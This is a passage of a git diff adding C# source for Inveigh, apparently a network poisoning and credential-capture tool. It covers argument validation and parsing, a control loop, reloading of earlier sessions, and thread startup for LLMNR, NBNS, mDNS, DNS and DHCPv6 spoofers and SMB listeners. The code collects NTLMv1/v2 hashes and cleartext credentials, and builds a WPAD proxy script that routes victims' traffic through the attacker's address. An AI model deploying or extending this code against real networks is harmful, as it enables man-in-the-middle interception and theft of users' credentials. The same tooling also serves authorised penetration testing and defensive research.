+ nameof(Program.argLLMNR),
+ nameof(Program.argLogOutput),
+ nameof(Program.argMachineAccount),
+ nameof(Program.argMDNS),
+ nameof(Program.argMDNSUnicast),
+ nameof(Program.argNBNS),
+ nameof(Program.argProxy),
+ nameof(Program.argSniffer),
+ nameof(Program.argSMB),
+ nameof(Program.argWebDAV)
+ };
+
+ string[] ynArgumentValues =
+ {
+ Program.argConsoleUnique,
+ Program.argDHCPv6,
+ Program.argDNS,
+ Program.argFileOutput,
+ Program.argFileUnique,
+ Program.argHTTP,
+ Program.argHTTPS,
+ Program.argICMPv6,
+ Program.argInspect,
+ Program.argIPv4,
+ Program.argIPv6,
+ Program.argLDAP,
+ Program.argLocal,
+ Program.argLLMNR,
+ Program.argLogOutput,
+ Program.argMachineAccount,
+ Program.argMDNS,
+ Program.argMDNSUnicast,
+ Program.argNBNS,
+ Program.argProxy,
+ Program.argSniffer,
+ Program.argSMB,
+ Program.argWebDAV
+ };
+
+ string[] intArguments =
+ {
+ nameof(Program.argConsole),
+ nameof(Program.argConsoleLimit),
+ nameof(Program.argConsoleStatus),
+ nameof(Program.argDHCPv6TTL),
+ nameof(Program.argDNSTTL),
+ nameof(Program.argICMPv6Interval),
+ nameof(Program.argICMPv6TTL),
+ nameof(Program.argLLMNRTTL),
+ nameof(Program.argMDNSTTL),
+ nameof(Program.argNBNSTTL),
+ nameof(Program.argProxyPort),
+ nameof(Program.argRunCount),
+ nameof(Program.argRunTime)
+ };
+
+ string[] intArgumentValues =
+ {
+ Program.argConsole,
+ Program.argConsoleLimit,
+ Program.argConsoleStatus,
+ Program.argDHCPv6TTL,
+ Program.argDNSTTL,
+ Program.argICMPv6Interval,
+ Program.argICMPv6TTL,
+ Program.argLLMNRTTL,
+ Program.argMDNSTTL,
+ Program.argNBNSTTL,
+ Program.argProxyPort,
+ Program.argRunCount,
+ Program.argRunTime
+ };
+
+ ValidateStringArguments(ynArguments, ynArgumentValues, new string[] { "Y", "N" });
+ ValidateStringArguments(new string[] { nameof(Program.argConsole) }, new string[] { Program.argConsole }, new string[] { "0", "1", "2", "3" });
+ string[] authArguments = { nameof(Program.argHTTPAuth), nameof(Program.argProxyAuth), nameof(Program.argWPADAuth), nameof(Program.argWebDAVAuth) };
+ string[] authArgumentValues = { Program.argHTTPAuth, Program.argProxyAuth, Program.argWPADAuth, Program.argWebDAVAuth };
+ ValidateStringArguments(authArguments, authArgumentValues, new string[] { "ANONYMOUS", "BASIC", "NTLM" });
+ ValidateStringArrayArguments(nameof(Program.argDNSTypes), Program.argDNSTypes, new string[] { "A", "SOA", "SRV" });
+ ValidateStringArrayArguments(nameof(Program.argDNSSRV), Program.argDNSSRV, new string[] { "LDAP", "KERBEROS", "KPASSWORD", "GC" });
+ ValidateStringArrayArguments(nameof(Program.argNBNSTypes), Program.argNBNSTypes, new string[] { "00", "03", "20", "1B", "1C", "1D", "1E" });
+ ValidateStringArrayArguments(nameof(Program.argMDNSQuestions), Program.argMDNSQuestions, new string[] { "QM", "QU" });
+ ValidateStringArrayArguments(nameof(Program.argMDNSTypes), Program.argMDNSTypes, new string[] { "A", "AAAA", "ANY" });
+ ValidateStringArrayArguments(nameof(Program.argLLMNRTypes), Program.argLLMNRTypes, new string[] { "A", "AAAA", "ANY" });
+ ValidateIntArguments(intArguments, intArgumentValues);
+ string[] ipAddressArguments = { nameof(Program.argSnifferIP), nameof(Program.argSnifferIPv6), nameof(Program.argListenerIP), nameof(Program.argListenerIPv6), nameof(Program.argSpooferIP), nameof(Program.argSpooferIPv6) };
+ string[] ipAddressArgumentValues = { Program.argSnifferIP, Program.argSnifferIPv6, Program.argListenerIP, Program.argListenerIPv6, Program.argSpooferIP, Program.argSpooferIPv6 };
+ ValidateIPAddressArguments(ipAddressArguments, ipAddressArgumentValues);
+ ValidateIntArrayArguments(nameof(Program.argHTTPPorts), Program.argHTTPPorts);
+ Regex r = new Regex("^[A-Fa-f0-9]{16}$");
+
+ if (!string.IsNullOrEmpty(Program.argChallenge) && !r.IsMatch(Program.argChallenge))
+ {
+ Console.WriteLine("Challenge is invalid");
+ Environment.Exit(0);
+ }
+
+ r = new Regex("^[A-Fa-f0-9]{12}$");
+
+ if (!string.IsNullOrEmpty(Program.argMAC) && !r.IsMatch(Program.argMAC))
+ {
+ Console.WriteLine("MAC address is invalid");
+ Environment.Exit(0);
+ }
+
+ if ((Program.argDNSTypes.Contains("SOA") || Program.argDNSTypes.Contains("SRV")) && (string.IsNullOrEmpty(Program.argDNSHost) || Program.argDNSHost.Split('.').Count() < 3))
+ {
+ Console.WriteLine("DNSHost must be specified and fully qualified when using DNSTypes SOA or SRV"); Environment.Exit(0);
+ }
+
+ if (string.Equals(Program.argFileOutput, "Y") && !Directory.Exists(Program.argFileDirectory))
+ {
+ Console.WriteLine("FileOutputDirectory is invalid");
+ Environment.Exit(0);
+ }
+
+ }
+
+ public static void ParseArguments()
+ {
+
+ try
+ {
+ Program.dnsDomain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
+ }
+ catch
+ {
+ Program.dnsDomain = Program.netbiosDomain;
+ }
+
+ Program.console = int.Parse(Program.argConsole);
+ Program.consoleQueueLimit = int.Parse(Program.argConsoleLimit);
+ Program.consoleStatus = int.Parse(Program.argConsoleStatus);
+ Program.icmpv6Interval = int.Parse(Program.argICMPv6Interval);
+ Program.runCount = int.Parse(Program.argRunCount);
+ Program.runTime = int.Parse(Program.argRunTime);
+ if (string.Equals(Program.argConsoleUnique, "Y")) { Program.enabledConsoleUnique = true; }
+ if (string.Equals(Program.argFileOutput, "Y")) { Program.enabledFileOutput = true; }
+ if (string.Equals(Program.argFileUnique, "Y")) { Program.enabledFileUnique = true; }
+ if (string.Equals(Program.argDHCPv6, "Y")) { Program.enabledDHCPv6 = true; }
+ if (string.Equals(Program.argDNS, "Y")) { Program.enabledDNS = true; }
+ if (string.Equals(Program.argHTTP, "Y")) { Program.enabledHTTP = true; }
+ if (string.Equals(Program.argHTTPS, "Y")) { Program.enabledHTTPS = true; }
+ if (string.Equals(Program.argICMPv6, "Y")) { Program.enabledICMPv6 = true; }
+ if (string.Equals(Program.argInspect, "Y")) { Program.enabledInspect = true; }
+ if (string.Equals(Program.argIPv4, "Y")) { Program.enabledIPv4 = true; }
+ if (string.Equals(Program.argIPv6, "Y")) { Program.enabledIPv6 = true; }
+ if (string.Equals(Program.argLDAP, "Y")) { Program.enabledLDAP = true; }
+ if (string.Equals(Program.argLLMNR, "Y")) { Program.enabledLLMNR = true; }
+ if (string.Equals(Program.argLogOutput, "Y")) { Program.enabledLogOutput = true; }
+ if (string.Equals(Program.argMDNS, "Y")) { Program.enabledMDNS = true; }
+ if (string.Equals(Program.argMDNSUnicast, "Y")) { Program.enabledMDNSUnicast = true; }
+ if (string.Equals(Program.argProxy, "Y")) { Program.enabledProxy = true; }
+ if (string.Equals(Program.argMachineAccount, "Y")) { Program.enabledMachineAccountCapture = true; }
+ if (string.Equals(Program.argNBNS, "Y")) { Program.enabledNBNS = true; }
+ if (string.Equals(Program.argSniffer, "Y")) { Program.enabledSniffer = true; }
+ if (!Program.enabledWindows) { Program.enabledSniffer = false; }
+ if (string.Equals(Program.argSMB, "Y")) { Program.enabledSMB = true; }
+ if (string.Equals(Program.argWebDAV, "Y")) { Program.enabledWebDAV = true; }
+ if (string.Equals(Program.argLocal, "Y")) { Program.enabledLocal = true; }
+ if (string.Equals(Program.argRepeat, "Y")) { Program.enabledRepeat = true; }
+
+ if (!string.Equals(Program.argListenerIP, "0.0.0.0"))
+ {
+ Program.listenerIPAddress = IPAddress.Parse(Program.argListenerIP);
+ }
+ else
+ {
+ Program.argListenerIP = IPAddress.Any.ToString();
+ }
+
+ if (!string.Equals(Program.argListenerIPv6, "::"))
+ {
+ Program.listenerIPv6Address = IPAddress.Parse(Program.argListenerIPv6);
+ }
+ else
+ {
+ Program.argListenerIPv6 = IPAddress.IPv6Any.ToString();
+ }
+
+ if (Program.enabledSniffer)
+ {
+
+ if (Program.enabledIPv4 && string.IsNullOrEmpty(Program.argSnifferIP))
+ {
+ Program.argSnifferIP = GetLocalIPAddress("IPv4");
+
+ if (string.IsNullOrEmpty(Program.argSnifferIP))
+ {
+ Program.enabledIPv4 = false;
+ }
+
+ }
+
+ if (Program.enabledIPv6 && string.IsNullOrEmpty(Program.argSnifferIPv6))
+ {
+ Program.argSnifferIPv6 = GetLocalIPAddress("IPv6");
+
+ if (string.IsNullOrEmpty(Program.argSnifferIPv6))
+ {
+ Program.enabledIPv6 = false;
+ }
+
+ }
+
+ if (string.IsNullOrEmpty(Program.argSpooferIP))
+ {
+ Program.argSpooferIP = Program.argSnifferIP;
+ }
+
+ if (string.IsNullOrEmpty(Program.argSpooferIPv6))
+ {
+ Program.argSpooferIPv6 = Program.argSnifferIPv6;
+ }
+
+ }
+ else
+ {
+
+ if (string.IsNullOrEmpty(Program.argSpooferIP))
+ {
+
+ if (!string.Equals(Program.argListenerIP, "0.0.0.0"))
+ {
+ Program.argSpooferIP = Program.argListenerIP;
+ }
+ else
+ {
+ Program.argSpooferIP = GetLocalIPAddress("IPv4");
+
+ if (string.IsNullOrEmpty(Program.argSpooferIP))
+ {
+ Program.enabledIPv4 = false;
+ }
+
+ }
+
+ }
+
+ if (string.IsNullOrEmpty(Program.argSpooferIPv6))
+ {
+
+ if (!string.Equals(Program.argListenerIPv6, "::"))
+ {
+ Program.argSpooferIPv6 = Program.argListenerIPv6;
+ }
+ else
+ {
+ Program.argSpooferIPv6 = GetLocalIPAddress("IPv6");
+
+ if (string.IsNullOrEmpty(Program.argSpooferIPv6))
+ {
+ Program.enabledIPv6 = false;
+ }
+
+ }
+
+ }
+
+ }
+
+ if (!Program.enabledIPv4)
+ {
+
+ Program.argDNSTypes = Program.argDNSTypes.Where(element => element != "A").ToArray();
+
+ if (Utilities.ArrayIsNullOrEmpty(Program.argDNSTypes))
+ {
+ Program.argDNSTypes = new string[] { "AAAA" };
+ }
+
+ Program.argLLMNRTypes = Program.argLLMNRTypes.Where(element => element != "A").ToArray();
+
+ if (Utilities.ArrayIsNullOrEmpty(Program.argLLMNRTypes))
+ {
+ Program.argLLMNRTypes = new string[] { "AAAA" };
+ }
+
+ Program.argMDNSTypes = Program.argMDNSTypes.Where(element => element != "A").ToArray();
+
+ if (Utilities.ArrayIsNullOrEmpty(Program.argMDNSTypes))
+ {
+ Program.argMDNSTypes = new string[] { "AAAA" };
+ }
+
+ }
+
+ if (!Program.enabledIPv6)
+ {
+
+ Program.argDNSTypes = Program.argDNSTypes.Where(element => element != "AAAA").ToArray();
+
+ if (Utilities.ArrayIsNullOrEmpty(Program.argDNSTypes))
+ {
+ Program.argDNSTypes = new string[] { "A" };
+ }
+
+ Program.argLLMNRTypes = Program.argLLMNRTypes.Where(element => element != "AAAA").ToArray();
+
+ if (Utilities.ArrayIsNullOrEmpty(Program.argLLMNRTypes))
+ {
+ Program.argLLMNRTypes = new string[] { "A" };
+ }
+
+ Program.argMDNSTypes = Program.argMDNSTypes.Where(element => element != "AAAA").ToArray();
+
+ if (Utilities.ArrayIsNullOrEmpty(Program.argMDNSTypes))
+ {
+ Program.argMDNSTypes = new string[] { "A" };
+ }
+
+ }
+
+ if (Program.enabledIPv6)
+ {
+
+ if (string.IsNullOrEmpty(Program.argMAC))
+ {
+
+ if (string.IsNullOrEmpty(Program.argSnifferIPv6))
+ {
+ Program.argMAC = GetLocalMACAddress(GetLocalIPAddress("IPv6"));
+ }
+ else
+ {
+ Program.argMAC = GetLocalMACAddress(Program.argSnifferIPv6);
+ }
+
+ }
+
+ Program.argMAC = Program.argMAC.Insert(2, ":").Insert(5, ":").Insert(8, ":").Insert(11, ":").Insert(14, ":");
+ }
+
+ if (!string.IsNullOrEmpty(Program.argSnifferIP))
+ {
+ Program.networkInterfaceIndexIPv4 = GetNetworkInterfaceIndex(Program.argSniffer);
+ }
+
+ if (!string.IsNullOrEmpty(Program.argSnifferIPv6))
+ {
+ Program.networkInterfaceIndexIPv6 = GetNetworkInterfaceIndex(Program.argSnifferIPv6);
+ }
+
+ if (Program.enabledInspect)
+ {
+
+ if (Program.enabledElevated)
+ {
+ Program.enabledHTTP = false;
+ Program.enabledProxy = false;
+ Program.enabledSMB = false;
+ Program.enabledICMPv6 = false;
+ }
+ else
+ {
+ Program.enabledHTTP = false;
+ Program.enabledProxy = false;
+ }
+
+ }
+
+ if (Program.enabledProxy)
+ {
+ Program.argWPADResponse = string.Concat("function FindProxyForURL(url,host) {", "return \"PROXY ", Program.argSnifferIP, ":", Program.argProxyPort, "; PROXY ", Program.argSnifferIP, ":", (int.Parse(Program.argProxyPort) + 1).ToString(), "; DIRECT\";}");
+ }
+ else if (string.IsNullOrEmpty(Program.argWPADResponse))
+ {
+ Program.argWPADResponse = "function FindProxyForURL(url,host) {return \"DIRECT\";}";
+ }
+ }
+
+ public static void ValidateStringArguments(string[] arguments, string[] values, string[] validValues)
+ {
+ int i = 0;
+ foreach (string value in values)
+ {
+
+ if (!validValues.Contains(value))
+ {
+ Console.WriteLine(arguments[i].Substring(3) + " value must be " + string.Join("/", validValues));
+ Environment.Exit(0);
+ }
+
+ i++;
+ }
+
+ }
+
+ public static void ValidateStringArrayArguments(string argument, string[] values, string[] validValues)
+ {
+
+ foreach (string value in values)
+ {
+
+ if (!validValues.Contains(value))
+ {
+ Console.WriteLine(argument.Substring(3) + " value must be " + string.Join("/", validValues));
+ Environment.Exit(0);
+ }
+
+ }
+
+ }
+
+ public static void ValidateIntArguments(string[] arguments, string[] values)
+ {
+
+ int i = 0;
+ foreach (string value in values)
+ {
+
+ if (!string.IsNullOrEmpty(value))
+ {
+
+ try
+ {
+ Int32.Parse(value);
+
+ }
+ catch
+ {
+ Console.WriteLine(arguments[i].Substring(3) + " value must be an integer");
+ Environment.Exit(0);
+ }
+
+ }
+
+ i++;
+ }
+
+ }
+
+ public static void ValidateIntArrayArguments(string argument, string[] values)
+ {
+
+ int i = 0;
+ foreach (string value in values)
+ {
+
+ if (!string.IsNullOrEmpty(value))
+ {
+
+ try
+ {
+ int.Parse(value);
+
+ }
+ catch
+ {
+ Console.WriteLine(argument.Substring(3) + " values must be integers");
+ Environment.Exit(0);
+ }
+
+ }
+
+ i++;
+ }
+
+ }
+
+ public static void ValidateIPAddressArguments(string[] arguments, string[] values)
+ {
+
+ int i = 0;
+ foreach (string value in values)
+ {
+
+ if (!string.IsNullOrEmpty(value))
+ {
+
+ try
+ {
+ IPAddress.Parse(value);
+
+ }
+ catch
+ {
+ Console.WriteLine(arguments[i].Substring(3) + " value must be an IP address");
+ Environment.Exit(0);
+ }
+
+ }
+
+ i++;
+ }
+
+ }
+
+ public static string GetLocalIPAddress(string ipVersion)
+ {
+
+ List<string> ipAddressList = new List<string>();
+ AddressFamily addressFamily;
+
+ if (string.Equals(ipVersion, "IPv4"))
+ {
+ addressFamily = AddressFamily.InterNetwork;
+ }
+ else
+ {
+ addressFamily = AddressFamily.InterNetworkV6;
+ }
+
+ foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces())
+ {
+
+ if (networkInterface.NetworkInterfaceType == NetworkInterfaceType.Ethernet && networkInterface.OperationalStatus == OperationalStatus.Up)
+ {
+
+ foreach (UnicastIPAddressInformation ip in networkInterface.GetIPProperties().UnicastAddresses)
+ {
+
+ if (ip.Address.AddressFamily == addressFamily)
+ {
+ ipAddressList.Add(ip.Address.ToString());
+ }
+
+ }
+
+ }
+
+ }
+
+ return ipAddressList.FirstOrDefault();
+ }
+
+ public static string GetLocalMACAddress(string ipAddress)
+ {
+ List<string> macAddressList = new List<string>();
+
+ foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces())
+ {
+
+ if (networkInterface.NetworkInterfaceType == NetworkInterfaceType.Ethernet && networkInterface.OperationalStatus == OperationalStatus.Up)
+ {
+
+ foreach (UnicastIPAddressInformation ip in networkInterface.GetIPProperties().UnicastAddresses)
+ {
+
+ if (ip.Address.AddressFamily == AddressFamily.InterNetworkV6 && string.Equals(ip.Address.ToString(), ipAddress))
+ {
+ macAddressList.Add(networkInterface.GetPhysicalAddress().ToString());
+ }
+
+ }
+
+ }
+
+ }
+
+ return macAddressList.FirstOrDefault();
+ }
+
+ public static int GetNetworkInterfaceIndex(string ipAddress)
+ {
+ int index = 0;
+
+ foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces())
+ {
+
+ if (networkInterface.NetworkInterfaceType == NetworkInterfaceType.Ethernet && networkInterface.OperationalStatus == OperationalStatus.Up)
+ {
+
+ foreach (UnicastIPAddressInformation ip in networkInterface.GetIPProperties().UnicastAddresses)
+ {
+
+ if (ip.Address.AddressFamily == AddressFamily.InterNetworkV6 && string.Equals(ip.Address.ToString(), ipAddress))
+ {
+ index = networkInterface.GetIPProperties().GetIPv6Properties().Index;
+ break;
+ }
+ else if (ip.Address.AddressFamily == AddressFamily.InterNetwork && string.Equals(ip.Address.ToString(), ipAddress))
+ {
+ index = networkInterface.GetIPProperties().GetIPv4Properties().Index;
+ break;
+ }
+
+ }
+
+ }
+
+ }
+
+ return index;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Support/Control.cs b/Inveigh/Support/Control.cs
new file mode 100644
index 0000000..9717f4f
--- /dev/null
+++ b/Inveigh/Support/Control.cs
@@ -0,0 +1,606 @@
+using System;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Diagnostics;
+using System.Text.RegularExpressions;
+using System.Net;
+using System.Collections.Generic;
+using System.Text;
+using System.Globalization;
+
+namespace Inveigh
+{
+ class Control
+ {
+
+ public static void ControlLoop(string consoleLevel, int consoleQueueLimit, int consoleStatus, int runCount, int runTime)
+ {
+ Stopwatch stopwatchConsoleStatus = new Stopwatch();
+ stopwatchConsoleStatus.Start();
+ Stopwatch stopwatchRunTime = new Stopwatch();
+ stopwatchRunTime.Start();
+ bool isPromptRefresh = false;
+
+ while (Program.isRunning)
+ {
+
+ if (Program.cleartextList.Count > Program.cleartextCount)
+ {
+ Program.cleartextCount = Program.cleartextList.Count;
+ Program.isCleartextUpdated = true;
+ isPromptRefresh = true;
+ }
+
+ if (Program.ntlmv1List.Count > Program.ntlmv1Count)
+ {
+ Program.ntlmv1Count = Program.ntlmv1List.Count;
+ Program.isNTLMv1Updated = true;
+ isPromptRefresh = true;
+ }
+
+ if (Program.ntlmv2List.Count > Program.ntlmv2Count)
+ {
+ Program.ntlmv2Count = Program.ntlmv2List.Count;
+ Program.isNTLMv2Updated = true;
+ isPromptRefresh = true;
+ }
+
+ IList<string> cleartextUnique = Shell.GetUnique(Program.cleartextList, false);
+
+ if (cleartextUnique.Count > Program.cleartextUniqueCount)
+ {
+ Program.cleartextUniqueCount = cleartextUnique.Count;
+ Program.isCleartextUniqueUpdated = true;
+ isPromptRefresh = true;
+ }
+
+ if (Program.ntlmv1UniqueList.Count > Program.ntlmv1UniqueCount)
+ {
+ Program.ntlmv1UniqueCount = Program.ntlmv1UniqueList.Count;
+ Program.isNTLMv1UniqueUpdated = true;
+ isPromptRefresh = true;
+ }
+
+ if (Program.ntlmv2UniqueList.Count > Program.ntlmv2UniqueCount)
+ {
+ Program.ntlmv2UniqueCount = Program.ntlmv2UniqueList.Count;
+ Program.isNTLMv2UniqueUpdated = true;
+ isPromptRefresh = true;
+ }
+
+ if (isPromptRefresh && !Program.enabledConsoleOutput)
+ {
+ Shell.RefreshCurrentLine();
+ isPromptRefresh = false;
+ }
+ else
+ {
+ isPromptRefresh = false;
+ }
+
+ if (consoleStatus > 0 && Program.enabledConsoleOutput && stopwatchConsoleStatus.Elapsed.Minutes >= consoleStatus)
+ {
+ Shell.GetCleartextUnique("");
+ Shell.GetNTLMv1Unique("");
+ Shell.GetNTLMv1Usernames("");
+ Shell.GetNTLMv2Unique("");
+ Shell.GetNTLMv2Usernames("");
+ stopwatchConsoleStatus.Reset();
+ stopwatchConsoleStatus.Start();
+ }
+
+ if (runTime > 0 && Program.enabledConsoleOutput && stopwatchRunTime.Elapsed.Minutes >= runTime)
+ {
+ Output.Queue(String.Format("[*] {0} Inveigh is exiting due to reaching run time", Output.Timestamp()));
+ StopInveigh();
+ }
+
+ if (runCount > 0 && Program.enabledConsoleOutput && (Program.ntlmv1List.Count >= runCount || Program.ntlmv2List.Count >= runCount))
+ {
+ Output.Queue(String.Format("[*] {0} Inveigh is exiting due to reaching run count", Output.Timestamp()));
+ StopInveigh();
+ }
+
+ try
+ {
+ Output.ProcessOutput();
+ }
+ catch (Exception ex)
+ {
+ Output.Queue(String.Format("[-] [{0}] Output error detected - {1}", Output.Timestamp(), ex.ToString()));
+ }
+
+ Thread.Sleep(5);
+ }
+
+ }
+
+ public static void StopInveigh()
+ {
+ Program.consoleList.Clear();
+ Program.enabledConsoleOutput = true;
+ Output.Queue(String.Format("[+] Inveigh exited at {0}", DateTime.Now.ToString("s")));
+ Output.ProcessOutput();
+ Output.ProcessFileOutput();
+ Program.isRunning = false;
+ Quiddity.HTTPListener.isRunning = false;
+
+ while (Program.consoleList.Count > 0)
+ {
+ Output.ConsoleOutputFormat(Program.consoleList[0]);
+ Program.consoleList.RemoveAt(0);
+ }
+
+ }
+
+ public static void ImportSession()
+ {
+
+ if (Program.enabledLogOutput && File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-Log.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-Log.txt")));
+
+ foreach (string line in file)
+ {
+ Program.logList.Add(line);
+ }
+
+ }
+
+ if (File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-Cleartext.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-Cleartext.txt")));
+
+ foreach (string line in file)
+ {
+ Program.cleartextList.Add(line);
+ }
+
+ }
+
+ if (File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv1Users.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv1Users.txt")));
+
+ foreach (string line in file)
+ {
+ Program.ntlmv1UsernameList.Add(line);
+ }
+
+ }
+
+ if (File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv2Users.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv2Users.txt")));
+
+ foreach (string line in file)
+ {
+ Program.ntlmv2UsernameList.Add(line);
+ }
+
+ }
+
+ if (File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv1.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv1.txt")));
+
+ foreach (string line in file)
+ {
+ Program.ntlmv1List.Add(line);
+ }
+
+ Program.ntlmv1UniqueList = Shell.GetUniqueNTLM(Program.ntlmv1List, Program.ntlmv1UsernameList);
+ }
+
+ if (File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv2.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv2.txt")));
+
+ foreach (string line in file)
+ {
+ Program.ntlmv2List.Add(line);
+ }
+
+ Program.ntlmv2UniqueList = Shell.GetUniqueNTLM(Program.ntlmv2List, Program.ntlmv2UsernameList);
+ }
+
+ foreach (string entry in Program.ntlmv1UsernameList)
+ {
+ string[] capture = entry.Split(',');
+
+ if (capture.Length >= 2)
+ {
+ Program.IPCaptureList.Add(capture[0]);
+ Program.HostCaptureList.Add(capture[1]);
+ }
+
+ }
+
+ foreach (string entry in Program.ntlmv2UsernameList)
+ {
+ string[] capture = entry.Split(',');
+
+ if (capture.Length >= 2)
+ {
+ Program.IPCaptureList.Add(capture[0]);
+ Program.HostCaptureList.Add(capture[1]);
+ }
+
+ }
+
+ Program.cleartextCount = Program.cleartextList.Count;
+ Program.ntlmv1Count = Program.ntlmv1List.Count;
+ Program.ntlmv2Count = Program.ntlmv2List.Count;
+ Program.cleartextUniqueCount = Shell.GetUnique(Program.cleartextList, false).Count;
+ Program.ntlmv1UniqueCount = Shell.GetUniqueNTLM(Program.ntlmv1List, Program.ntlmv1UsernameList).Count;
+ Program.ntlmv2UniqueCount = Shell.GetUniqueNTLM(Program.ntlmv2List, Program.ntlmv2UsernameList).Count;
+ }
+
+ public static void StartThreads()
+ {
+
+ if (Program.enabledSniffer)
+ {
+
+ if (Program.enabledIPv4)
+ {
+
+ if (Program.enabledDNS || Program.enabledMDNS || Program.enabledLLMNR || Program.enabledNBNS || Program.enabledSMB)
+ {
+ Thread snifferSpooferThread = new Thread(() => Sniffer.Start("IP", Program.argSnifferIP, false));
+ snifferSpooferThread.Start();
+ }
+
+ }
+
+ if (Program.enabledIPv6)
+ {
+
+ if (Program.enabledDHCPv6 || Program.enabledDNS || Program.enabledLLMNR || Program.enabledMDNS)
+ {
+ Thread snifferSpooferIPv6Thread = new Thread(() => Sniffer.Start("UDP", Program.argSnifferIPv6, true));
+ snifferSpooferIPv6Thread.Start();
+ }
+
+ if (Program.enabledSMB)
+ {
+ Thread snifferSpooferIPv6TCPThread = new Thread(() => Sniffer.Start("TCP", Program.argSnifferIPv6, true));
+ snifferSpooferIPv6TCPThread.Start();
+ }
+
+ }
+
+ }
+ else
+ {
+
+ if (Program.enabledIPv4)
+ {
+
+ if (Program.enabledDNS)
+ {
+ DNSListener dnsListener = new DNSListener(uint.Parse(Program.argDNSTTL), Program.argDNSHost);
+ Thread dnsListenerThread = new Thread(() => dnsListener.Start(IPAddress.Parse(Program.argListenerIP), Program.argSpooferIP, Program.argSpooferIPv6));
+ dnsListenerThread.Start();
+ }
+
+ if (Program.enabledLLMNR)
+ {
+ LLMNRListener llmnrListener = new LLMNRListener(uint.Parse(Program.argLLMNRTTL));
+ Thread llmnrListenerThread = new Thread(() => llmnrListener.Start(IPAddress.Parse(Program.argListenerIP), Program.argSpooferIP, Program.argSpooferIPv6));
+ llmnrListenerThread.Start();
+ }
+
+ if (Program.enabledMDNS)
+ {
+ MDNSListener mdnsListener = new MDNSListener(uint.Parse(Program.argMDNSTTL), Program.enabledMDNSUnicast);
+ Thread mdnsListenerThread = new Thread(() => mdnsListener.Start(IPAddress.Parse(Program.argListenerIP), Program.argSpooferIP, Program.argSpooferIPv6));
+ mdnsListenerThread.Start();
+ }
+
+ if (Program.enabledNBNS)
+ {
+ NBNSListener nbnsListener = new NBNSListener(uint.Parse(Program.argNBNSTTL));
+ Thread nbnsListenerThread = new Thread(() => nbnsListener.Start(IPAddress.Parse(Program.argListenerIP), Program.argSpooferIP, Program.argSpooferIPv6));
+ nbnsListenerThread.Start();
+ }
+
+ if (Program.enabledSMB)
+ {
+ foreach (string port in Program.argSMBPorts)
+ {
+
+ SMBListener smbListener = new SMBListener
+ {
+ Challenge = Program.argChallenge,
+ NetbiosDomain = Program.netbiosDomain,
+ ComputerName = Program.computerName,
+ DNSDomain = Program.dnsDomain
+ };
+
+ Thread smbListenerThread = new Thread(() => smbListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(port)));
+ smbListenerThread.Start();
+ }
+
+ }
+
+ }
+
+ if (Program.enabledIPv6)
+ {
+
+ if (Program.enabledDHCPv6)
+ {
+ DHCPv6Listener dhcpV6Listener = new DHCPv6Listener(uint.Parse(Program.argDHCPv6TTL), Program.argDNSSuffix);
+ Thread dhcpv6ListenerThread = new Thread(() => dhcpV6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Program.argMAC, Program.argSpooferIPv6));
+ dhcpv6ListenerThread.Start();
+ }
+
+ if (Program.enabledDNS)
+ {
+ DNSListener dnsV6Listener = new DNSListener(uint.Parse(Program.argDNSTTL), Program.argDNSHost);
+ Thread dnsV6ListenerThread = new Thread(() => dnsV6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Program.argSpooferIP, Program.argSpooferIPv6));
+ dnsV6ListenerThread.Start();
+ }
+
+ if (Program.enabledLLMNR)
+ {
+ LLMNRListener llmnrV6Listener = new LLMNRListener(uint.Parse(Program.argLLMNRTTL));
+ Thread llmnrV6ListenerThread = new Thread(() => llmnrV6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Program.argSpooferIP, Program.argSpooferIPv6));
+ llmnrV6ListenerThread.Start();
+ }
+
+ if (Program.enabledMDNS)
+ {
+ MDNSListener mdnsV6Listener = new MDNSListener(uint.Parse(Program.argMDNSTTL), Program.enabledMDNSUnicast);
+ Thread mdnsV6ListenerThread = new Thread(() => mdnsV6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Program.argSpooferIP, Program.argSpooferIPv6));
+ mdnsV6ListenerThread.Start();
+ }
+
+ if (Program.enabledSMB)
+ {
+
+ foreach (string port in Program.argSMBPorts)
+ {
+
+ SMBListener smbv6Listener = new SMBListener
+ {
+ Challenge = Program.argChallenge,
+ NetbiosDomain = Program.netbiosDomain,
+ ComputerName = Program.computerName,
+ DNSDomain = Program.dnsDomain
+ };
+
+ Thread smbv6ListenerThread = new Thread(() => smbv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Int32.Parse(port)));
+ smbv6ListenerThread.Start();
+ }
+
+ }
+
+ }
+
+ }
+
+ if (!Program.enabledInspect)
+ {
+
+ if (Program.enabledIPv4)
+ {
+
